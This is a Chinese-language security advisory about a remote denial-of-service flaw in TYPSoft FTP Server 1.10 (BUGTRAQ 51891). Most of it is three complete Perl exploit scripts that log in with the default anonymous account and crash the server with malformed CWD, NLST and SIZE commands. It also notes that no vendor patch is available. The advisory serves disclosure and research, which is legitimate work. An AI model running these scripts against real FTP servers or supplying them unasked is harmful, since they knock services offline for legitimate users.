发布日期：2012-02-07
更新日期：2012-02-08

受影响系统：

TYPSoft TYPSoft FTP Server 1.10

描述：

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BUGTRAQ  ID: 51891

TYPSoft FTP Server是一款简单易用的FTP服务程序。

TYPSoft FTP Server在处理特制的FTP命令时存在远程拒绝服务漏洞，攻击者可利用这些漏洞使受影响应用程序崩溃，拒绝服务合法用户。

<*来源：Balazs Makany
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Balazs Makany （）提供了如下测试方法：

#!/usr/bin/perl
# Exploit Title: Typsoft FTP Server DoS CWD command
# Date: 02/06/2012
# Author: Balazs Makany
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows 7
# (does not work on Windows XP)
#
# Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below.
#
use IO::Socket;
$user = "USER anonymous\r\n";
$passw = "PASS anonymous@127.0.0.1\r\n";
$command = "CWD ";
$dos_input = "."x250;
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);
#!/usr/bin/perl
# Exploit Title: Typsoft FTP Server DoS NLST command
# Date: 02/06/2012
# Author: Balazs Makany
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows 7
# (does not work on Windows XP)
#
# Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below.
#
use IO::Socket;
$user = "USER anonymous\r\n";
$passw = "PASS anonymous@127.0.0.1\r\n";
$command = "NLST ";
$dos_input = "/.../.../.../.../.../";
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);
#!/usr/bin/perl
# Exploit Title: Typsoft FTP Server DoS SIZE command
# Date: 02/06/2012
# Author: Balazs Makany
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows 7
# (does not work on Windows XP)
#
# Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below.
#
use IO::Socket;
$user = "USER anonymous\r\n";
$passw = "PASS anonymous@127.0.0.1\r\n";
$command = "SIZE ";
$dos_input = "/.../.../.../.../.../";
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);

建议：

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厂商补丁：

TYPSoft
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://en.typsoft.com/

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